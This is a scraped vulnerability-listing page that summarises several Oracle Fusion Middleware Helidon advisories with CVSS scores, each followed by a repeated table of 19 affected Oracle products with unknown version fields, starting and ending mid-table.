vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware's Helidon 3.2.18 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.
5.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.4.
9.4 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.4.
9.4 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1 indicating severe confidentiality and integrity impact.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to create, delete, or modify all Helidon data via HTTP, with a CVSS 3.1 base score of 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to perform unauthorized read and write operations on accessible data, rated with a CVSS 3.1 base score of 6.5.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated network attackers via HTTP to perform unauthorized data reads and modifications, with a CVSS 3.1 base score of 6.1.
6.1 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to exploit it via HTTP, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.
6.1 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows a low-privileged attacker with HTTP network access to perform unauthorized read and write operations, rated with a CVSS 3.1 base score of 4.2.
4.2 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.
5.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers to exploit HTTP access for unauthorized data reading and modification, with a CVSS 3.1 base score of 7.2.
7.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
